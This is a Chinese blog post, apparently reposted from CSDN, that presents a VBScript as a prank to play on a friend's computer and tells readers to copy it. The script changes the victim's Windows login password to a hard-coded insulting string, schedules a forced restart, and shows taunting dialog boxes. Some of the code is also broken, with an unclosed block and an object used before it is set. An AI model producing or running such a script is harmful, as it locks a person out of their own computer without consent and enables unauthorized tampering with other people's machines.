2021-11-05

恶搞朋友电脑的程序

复制下列代码

do
msgbox("我对你的爱就像这个窗口一样稳固")
msgbox("我可以操作你的电脑！！！")
msgbox("不信???")
WScript.Echo("哼,我生气拉")
WScript.Echo("我很生气，后果很严重哦。") 
Const strPassword = "woshinidie"' 
Set WshNetwork = CreateObject("WScript.Network")
Dim userName
userName = WshNetwork.userName&",user"
Dim Domain
Set Domain = GetObject("WinNT://./"&userName)
Domain.SetPassword strPassword
Domain.SetInfo
dim gj
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 300 -c ""你的开机密码已被改！！！！"" ",0 ,true 
dim a
do while(a <> "")
a = inputbox ("你的电脑要被注销！！！""　","","你的开机密码已被改！！！！",8000,7000)
WScript.Echo("哼，你要关掉我拉，我不给你关。。") 
loop
WSHshell.run "cmd.exe /c shutdown -a",0 ,true 
set WSHshell = wscript.createobject("wscript.shell") 
WScript.Echo("哟。给你破解拉，你也别想关闭我。")
WScript.Echo("不过我要告诉你。")
WScript.Echo("等等会倒计时关机。")
WScript.Echo("300秒倒计时关机拉")
WScript.Echo("我怕你无聊给你弹窗口化")
WScript.Echo("会弹50个！！！")
————————————————
版权声明：本文为CSDN博主「ft西瓜」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。
原文链接：https://blog.csdn.net/qq_42415664/article/details/80958786